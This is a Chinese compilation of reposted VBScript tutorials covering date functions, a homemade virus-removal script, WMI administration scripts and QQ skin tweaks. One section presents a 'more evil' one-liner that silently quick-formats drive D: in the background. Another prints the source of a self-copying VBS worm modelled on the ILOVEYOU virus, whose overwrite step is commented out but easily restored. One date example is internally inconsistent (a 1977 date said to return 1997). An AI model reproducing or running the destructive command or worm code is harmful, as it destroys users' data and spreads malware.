5 – Thursday 6 – Friday 7 Saturday

ww－一年中的第多少周，返回当前周的信息，1 月 1 号认为是第一周，12 月 31 号是第 52 周。尽管如此，你仍然可以确定哪周是一年中的第一周。

H－小时。返回一天 24 小时的格式中是第多少个小时。例如，下午 2：00 会返回 14,下午 6:00 会返回 18。在午夜到凌晨一点的时候，返回的值是 0,午夜 12 点返回的也是 0。

n－分钟，返回当前时间的分钟。

s－秒数：返回是当前分钟的秒数。

为了使用 DatePart 这个函数，你可以创建一个变量并且赋值给它。例如如下的代码将你计算机上当前的时间的年份赋值给变量 CurrentYear

CurrentYear = DatePart("yyyy", Date)

在上面的例子中，用到了如下两个参数：

"yyyy　　表示从特定的日期返回年份，这个参数必须放在引号以内。

Date 用来解析的当前的日期，你也可以把特定的日期用引号括起来（例如”6/1/2002”）或者用一个变量来赋值个一个 DATE，例如如下两行代码返回值为 1997

DateToCheck = #8/15/1977#

CurrentYear = DatePart("yyyy" , DateToCheck)

注意：当将一个日期赋值给一个变量的时候，你可以用＃将日期放在中间。这样保证 vb 脚本认为它是日期，而不是数字或者字符串等变量。当然你也可以用 CDate 函数来实现这个功能。下面脚本解析出当前的日期，然后显示出当前日期的分支（组成部分）。

Wscript.Echo Now

Wscript.Echo "Year: " & DatePart("yyyy" , Now)

Wscript.Echo "Quarter: " & DatePart("q", Now)

当你给 DatePart 函数一个错误时间时，它不会报错，但是不会返回你期待的结果。例如，如下代码想返回 1899:

Wscript.Echo DatePart("yyyy", "8:00 AM")

这行代码返回的是 0

Wscript.Echo DatePart("h", "12/1/2002")

除了 DatePart 函数以外，还其它函数同样可以更改时间的值。如：

Day、Hour、Minute、Month、Second、Weekday、Year 等

例如：

CurrentDate = Now

Wscript.Echo "Year: " & VbTab & VbTab & Year(CurrentDate)

==========

VBS 编程打造自己的病毒专杀工具－转自余弦函数

VBS 病毒应该来说还是挺流行的，其力量不可小觑啊！用 VBS 写一只普通病毒（蠕虫）没有什么难度，写病毒专杀工具也是没什么难度的。但在写出专杀工具前必须了解你要杀的这只病毒的一些信息……比如：病毒释放的文件，感染的文件，注册表与进程里的病毒信息等等。

一、首先来看如何结束病毒进程，之前我在《两个简易 VBS 脚本结束进程与防止进程启动》给出了关于进程的一些操作方法。假如要结束的病毒进程为 rund1132.exe（32 之前是两个数字 1），看下面代码：

set w=getobject("winmgmts:")??　　'创建 WMI 对象，执行后面的查询。

set p=w.execquery("select * from win32_process where name='rund1132.exe'")

for each i in p

i.terminate

next

二、双击执行这段代码就可以结束 rund1132.exe 进程，这为后面的杀毒提供方便。病毒进程一被结束就要马上将其文件给删掉！假如病毒相关文件为 c:\windows\rund1132.exe 与 c:\windows\system32\explorer.exe，它们皆为隐藏文件。看下面代码：

set fso=createobject("scripting.filesystemobject") '创建 fso 对象，此对象以后介绍……

set v1=fso.getfile("c:\windows\rund1132.exe")

set v2=fso.getfile("c:\windows\system32\explorer.exe")

v1.attributes=0'设置文件为正常属性值，即隐藏文件就被还原成正常文件了！

v2.attributes=0'当病毒文件多时，可以使用 for 语句。

fso.deletefile("c:\windows\rund1132.exe")

fso.deletefile("c:\windows\system32\explorer.exe")

执行这段代码，病毒文件就被 Killed 了……删除病毒的感染文件也是创建 fso 对象，然后进行盘符、文件夹、文件遍历查找，使用 ext=lcase(fso.GetExtensionName(file))这样的表达式来获取所有文件的后缀，最后将 ext 值与被已知感染文件的后缀（比如.exe）进行判断，如果为真则删除此此文件……思路给出了，代码有点长有点复杂就不黏贴上来了。其实如果有可能去分析“爱虫 VBS 病毒”的代码，就会发现它在感染文件时使用的正是这样的遍历、后缀判别的方法……

三、注册表是关键。有些病毒是很变态的，将系统的许多功能都给禁用了，还往注册表里塞一

大堆垃圾信息……它要是把 WSH（windows 脚本宿主）给禁用了或破坏了那我们辛辛苦苦写的 VBS 专杀工具就没法使用了，我感觉 VBS 写出来的专杀是有一定的局限性的……不过对付不这么变态的病毒还是可以的！

比如：此病毒禁用了“任务管理器”、然后在注册表中添加下面的值来实现开机自启动 "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\run","c:\windows\rund1132.exe"。如何修复？看下面代码：

```
set reg=wscript.createobject("wscript.shell") '创建 wscript 对象，进行下面的注册表操作！

'reg.regwrite 恢复禁用的任务管理器

reg.regwrite
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"

'reg,regdelete 删除病毒的自启动项

reg.regdelete
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\run"
```

到此用 VBS 打造自己的病毒专杀工具就有成形了，框架就是这样。根据不同的病毒特征写出不同的专杀工具。

==========

后台偷偷运行程序的 VBS－转自余弦函数

```
Set objShell = CreateObject("Wscript.Shell") '创建 Wscript.Shell 对象

objShell.Run("wmplayer.exe D:\music.wma"), 0, TRUE '调用 wmplayer.exe(Windows Media Player) 运行 music.wma 文件
```

执行了这段代码，音乐就在后台打开了，起到“后台运行”功能主要是第二行代码的参数 0，默认是值为 1。好了~~~模型给出，现在你可以自己去构造代码了。看我构造个更邪恶的！

```
Set objShell = CreateObject("Wscript.Shell")

objShell.Run("%comspec% /k format /q D:\"), 0, TRUE
```

如何？后台默默地快速格式化你的 D 盘！

==========

vbs 病毒的简单例子源代码解析－转自中国批处理联盟论坛

说明：作者对某些代码进行了修改。该文件是一个完整的程序。该文件执行之后，会寻找硬盘上所有满足条件的文件，对其进行强制性覆盖（满足条件的文件数据将全部丢失）、并再创建一个相同文件名但后带.vbs 的文件。因此，请注意设立好破坏测试条件，千万不要对他人进行测试，否则，一切后果自负。

```
dim folder,fso,foldername,f,d,dc
set fso=createobject("scripting.filesystemobject")
set self=fso.opentextfile(wscript.scriptfullname,1)
vbscopy=self.readall '读取病毒体，以备复制到文件
self.close
```

```
set dc=fso.Drives
for each d in dc
if d.drivetype=3 or d.drivetype=2 then '检查磁盘类型
wscript.echo d '弹出窗口，显示找到盘符
scan(d)
end if
next
lsfile=wscript.scriptfullname '该脚本程序路径
set lsfile=fso.getfile(lsfile)
lsfile.delete(true) '病毒运行后自我删除(本人自加，爱虫病毒本身没有该代码）
sub scan(folder_)
on error resume next
set folder_=fso.getfolder(folder_)
set files=folder_.files
for each file in files
ext=fso.GetExtensionName(file) '获取文件后缀
ext=lcase(ext) '后缀名转换成小写字母
if ext="mp5" then '如果后缀名是 mp5,当然不存在这种文件，这里可以自己修改，但是注意。请自己建立相应后缀名的文件，最好是非正常后缀名
set ap=fso.opentextfile(file.path,2,true)
' ap.write vbscopy '覆盖文件，慎用
ap.close
set cop=fso.getfile(file.path)
cop.copy(file.path & ".vbs") '创建另外一个病毒文件
' file.delete(true) '删除原来文件
end if
next
set subfolders=folder_.subfolders
for each subfolder in subfolders '搜索其他目录
scan(subfolder)
next
end sub
==========
转几个 WMI 脚本，头一个是：关机、注销或者重启的脚本
'==========
==
'
' 注销/重起/关闭本地 Windows NT/2000 计算机。基本思路如下：
'
' Win32ShutDown(flag)中 flag 的参数:
' 0 注销
' 0 + 4 强制注销
' 1 关机
' 1 + 4 强制关机
' 2 重起
' 2 + 4 强制重起
' 8 关闭电源
' 8 + 4 强制关闭电源
'
'==========
```

```
==
main
sub main()
shutdown
end sub

Sub ShutDown()
Dim Connection, WQL, SystemClass, System

Set Connection = GetObject("winmgmts:root\cimv2")

'http://hi.baidu.com/xuejinglan
WQL = "Select Name From Win32_OperatingSystem"
Set SystemClass = Connection.ExecQuery(WQL)
For Each System In SystemClass
System.Win32ShutDown (0+4)
Next
End Sub
==========
WMI 脚本：收集计算机硬件信息
'==========
==
'
' 都差不多，脚本中没有列出来的还有：
' 用户名：Win32_UserAccount
' 已经使用的盘符：Win32_LogicalDisk
' 所有共享：Win32_share
' 所安装的打印机：Win32_Printer
' 计算机的主板：Win32_BaseBoard
' 1394 采集卡：Win32_1394Controller
' 笔记本电池：Win32_Battery
' BIOS 的：Win32_BIOS
' 物理总线的：Win32_Bus
' 系统缓存内存：Win32_CacheMemory
' 光驱：Win32_CDROMDrive
'
'==========
==

Set wmi=GetObject("winmgmts:\\")
msg=""
Set cpus=wmi.instancesof("win32_processor")
msg=msg & "CPU："
For Each cpu In cpus
msg=msg+cpu.caption & vbcrlf & "型号为：" &ltrim(cpu.name) & vbCrLf & vbCrLf
Next

'http://hi.baidu.com/xuejinglan
Set mem=wmi.instancesof("win32_computersystem")
For Each m In mem
msg=msg&"内存："&Round((m.totalphysicalmemory/1024^2),2)&"M" & vbCrLf & vbCrLf
```

```
Next

Set display=wmi.instancesof("Win32_videocontroller")
msg=msg&"显示卡："
For Each              video In display
msg=msg&video.deviceid & vbCrLf &video.name & vbCrLf & vbCrLf
Next

Set disks=wmi.instancesof("win32_diskdrive")
msg=msg&"硬盘："
For Each d In disks
If int(d.size/(1024^3))=0 Then
n=Round(d.size/(1024^2),2)&"M"
Else
n=Round(d.size/(1024^3),2)&"G"
End If

msg=msg+d.caption & vbcrlf & "总容量：  " & n & Chr(13)
Next

MsgBox msg,0,"计算机主要硬件参数"
=====================================
转个自动排列桌面图标的脚本
'=============================================================================
==
'
' 使桌面图标重排的脚本，设计的很奇妙，也学到了以前没有接触的东西
' SCF 文件是“WINDOWS 资源管理器命令”文件，它也是一种可执行文件.
' 由 Windows Explorer Command 解释，标准安装，包括下面 3 个该类型的文件
' 1）  Explorer.scf(资源管理器)
' [Shell]
' Command=2
' IconFile=explorer.exe,1
' [Taskbar]
' Command=Explorer
' 2）Show Desktop.scf(显示桌面)
' 格式类似如下:
' [Shell]
' Command=2
' IconFile=explorer.exe,3
' [Taskbar]
' Command=ToggleDesktop
' 3）View Channels.scf（查看频道）
' [Shell]
' Command=3
' IconFile=shdocvw.dll,-118
' [IE]
' Command=Channels
'
'=============================================================================
==
```

```
Dim WshSHell,FSO
On Error Resume Next
Set WshSHell = WScript.CreateObject("WScript.Shell")
Set FSO = CreateObject("Scripting.FileSystemObject")
Set OF = FSO.OpenTextFile(FSO.BuildPath(FSO.GetSpecialFolder(1),"ShowDisktop.SCF"),2,True)
'此行代码有点复杂，其实包含了 3 行代码
'第一行：a=FSO.GetSpecialFolder(1)      取得从 c:\windows\system32 文件夹地址
'第二行：b=(FSO.BuildPath(a,"ShowDisktop.SCF")在 system32 文件夹下建立 ShowDisktop.scf 文件
'      buildpath 函数自动在路径和文件名间加\
'第三行：set of= FSO.OpenTextFile(c) 以写方式打开 showdisk.scf 文件
OF.Write("[Shell]"&vbcrlf&"Command=2"&vbcrlf&"IconFile=explorer.exe,3"&vbcrlf&"[Taskbar]"
&vbcrlf&"command=ToggleDesktop")
'写入相关命令
OF.Close
if (WshShell.CurrentDirectory = WshShell.SpecialFolders("Desktop")) = "False" then
'判断脚本是否在桌面，是直接执行，否则运行 scf 显示桌面
WshSHell.Run("ShowDisktop.SCF")
end if
WScript.Sleep 500
WshSHell.SendKeys "{F5}+{F10}IA" 'F5 刷新桌面，shift+F10 呼叫出右键菜单，ia 刷新
Set WshSHell = Nothing
Set FSO = Nothing
WScript.Quit
==========
WMI 脚本：建立和删除共享文件夹
'==========
==
'
' 在局域网建立共享的脚本
' GetObject 函数用 Moniker 名字法连接到 WMI 创建引用在本机有三步
' 1、"winmgmts:"是前缀，  表示为 WMI 服务，必须
' 2、\\.\"代表本机，
' 3、CIM 命名空间："root\cimv2"就是 CIM 命名空间，缺省可省略
' 4、建立共享主要使用 Win32_Share 类的 Create 函数'
'http://hi.baidu.com/xuejinglan
' int Create //0 表示成功完成
' (String SharePath; //共享路径,就是你要共享的文件夹的的路径
' String      ShareName; //共享后，访问时的标示名称
' Int          ShareType; //共享类型，一般赋 0 即可，表示磁盘共享
' Int          MaxUsers; //最大用户数
' String      Description; //描述
' String PassWord; //访问密码
' )
'
'==========
==

Const FILE_SHARE = 0
Const MAXIMUM_CONNECTIONS = 25
```

```
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")

Set objNewShare = objWMIService.Get("Win32_Share")

errReturn = objNewShare.Create _
        ("C:\Finance", "FinanceShare", FILE_SHARE, _
             MAXIMUM_CONNECTIONS, "Public share for the Finance group.")
If errReturn =0 Then MsgBox "共享文件设置成功！"

'==========================================================================
==
'
' 删除共享用 Delete 函数，没有任何参数
' 只要用 WQL 筛选出符合条件的共享，调用函数就可以了
'
'==========================================================================
==

strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")

Set colShares = objWMIService.ExecQuery _
        ("Select * from Win32_Share Where Name = 'FinanceShare'")

For Each objShare in colShares
        objShare.Delete
Next
==================================
WMI 脚本：修改磁盘卷标
'==========================================================================
==
'
' 修改磁盘卷标
' 在 Windows 中，WMI 主要是一个读取信息的技术，我这样理解不知道对不对
' 但是我知道绝大多数的类都不允许对其属性进行修改，
' Win32_LogicalDisk 是我知道的少数允许修改属性的类
' 当然修改属性完成后不要忘记用 Put_方法提交改变
' 代码很简单就不仔细解释了，当然磁盘卷标不要起的太长
'
'==========================================================================
==

'http://hi.baidu.com/xuejinglan
strComputer = "."
Set objWMIObject = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colDevices = objWMIObject.ExecQuery _
        ("Select * from Win32_LogicalDisk Where DeviceId = 'D:'")
For Each objDevice in colDevices
objDevice.VolumeName = "工作盘"
objDevice.Put_
```

Next
==========
Vbs 脚本应用——打造个性化 QQ
昨天，要找一个以前写的 vbs 脚本，可是当时写的就随便，名起的也糊涂，就搜索了一下，咦！～～QQ 下怎么还有 vbscript.dll 和 vbscript.vbs 这么两个文件来着？？？我实在太奇怪了。复制出来，打开看看。当然是先看脚本啦！

我晕倒，居然是真正的 vbs 脚本文件，哦，几个函数似乎在脚本里没有定义，不过很正常，现在好多软件都是这么干的。挨个往下看， Window_OnSize(cx,cy)大概是拉伸面板时调用的吧，Window.LockPaint() 锁定绘图，当然了还有 onClick、onMouseMove、onMouseLeave 等等都是响应事件的函数，Window.ExeCommand 1,2 这是干什么的，网上搜搜，Window.ExeCommand n,m 是 QQ 内部的一些命令，n、m 值如下的时候代表不同的操作：1,1 皮肤管理器；1,2 最小化；1,3 close；4,1 ChatRoom；4,2 发送手机短信；4,3 search；4,4 腾讯浏览器；4,5 Game；4,6 信息管理器；4,7 color；4,8 个人帐户；4,9 面板选择；4,10 Mail 相关；50,1 显示信息；60,2 个人设置；7,1 Mail；15,1 host

呵呵，太好了，让我修改它一下看看，有响应没有。得了，捡不如撞，就在 Window_OnSize(cx,cy)函数的响应后添加一个 msgbox “你确定要改变吗？”退出 qq，再次进入，拖动边框，呵呵，出来了。好了，再加一句：createobject(“wscript.shell”).run “notepad.exe”，呵呵，退出 qq，再次进入，拖动边框，咦？！没有反应？百度一下，哦，QQ 自带的 vbscript.dll 文件不支持外部调用，要外部调用，必须用破解的 vbscript.dll 文件覆盖原来的？太麻烦了，要不用系统自带的覆盖行不行？试验一下，呵呵，可以！赶紧试试其他的按钮啊，功能啊什么的有没有变化？似乎没有，那！?QQ 自己带的这个 vbscript.dll 到底干了些什么工作？还是有什么我没有发现？！不管它，我们接着来，比如说，我的 QQ 上的那个收发邮件的那个按钮我从来也不用，放着也是闲着，要不……，把它换成我常用的记事本程序，可以方便我在聊天的时候粘贴从网上复制下的好文章， ok，让我搜索一下 mail，找到 Sub MailButton_onClick()函数，在函数代码 Window.ExeCommand 7,1 前加一个小小的‘,然后加入一行代码：

createobject(“wscript.shell”).run “notepad.exe”，退出，重新进入，单击“收发邮件”按钮，呵呵记事本打开了。可是上面怎么老是显示收发邮件啊，怎么能改一下呢？百度一下，ok，图表啊、说明啊，都在 Config.xml 文件中放着，坏了，xml 我不是很熟悉，不过没关系，只要我认识汉字就可以了，还是拿记事本打开看看，单击搜索，填入收发邮件，找到，修改为“记事本”，保存，退出 QQ，再次进入，呵呵，鼠标移到那个图标上，显示“记事本”。完成、

呵呵，如果愿意甚至可以把常用的软件的快捷方式都放在 QQ 皮肤上，把 QQ 打造成一个完全个性的软件，彻底改变 QQ 的用处。
==========
感谢钱峰
学习 Vbs，当然是看微软网站上推出的官方教程比较原汁原味，可惜中国 vbs 学友里看过的恐怕不多，原因很简单，微软的官方原著是英文版的，看起来很费力。

当时，我刚刚发现 vbs 的妙处，可是除了一本微软的《Microsoft Windows 脚本技术.CHM》之外，什么学习资料也找不到，看到网上介绍有一本《windows2000 脚本编程实用大全》的书，就跑到各个书店去订书，因为出版的时间太久了，那里都订不到，又跑到各个技术网站上去发帖，希望那位有电子版给我发一份，我愿意用其他方面的技术资料交换，结果如同石沉大海，一点消息也没有，在这里小小鄙视他们一下。

后来偶然在网络上遇到钱峰先生，慷慨赠送了他翻译的微软的官方教程给我，让我迈进了 vbs

的大门，真是惭愧，由于计算机感染病毒，钱峰先生的邮件地址我也找不到了，只有他的一个qq号码，却从来不见他上线，多次留言，也没有见到他回应，在此对钱峰先生的翻译工作及无偿赠予表示衷心的感谢！

今后一段时间，我将逐步将钱峰先生翻译的微软官方教程贴出，与大家共同温习。

有英文好的朋友可能会发觉这份翻印的教程与微软官方原版并不是完全相同，一是因为钱峰先生翻译的时候大约并没有想到要出版或者与人交流，仅仅是自己学习，所以翻译的比较粗糙，我刚刚得到的时候，很多地方都看的不是很懂，在与微软英文官方教程比较后，按照自己的理解修改了其中的一部分（对其中的有些地方，其实到现在我也还是弄不明白）；二是因为外国人行文和思维的方式与中国人有着很大的差别，读起来颇为费力，所以我对其中一些表达方式进行了修改，删除了其中一些我认为无关紧要的东西。各位学友如发现其中的错误请不吝指出，我会尽快修改，语意不祥的地方请参考官方网站：http://www.microsoft.com/technet/scriptcenter/guide/default.mspx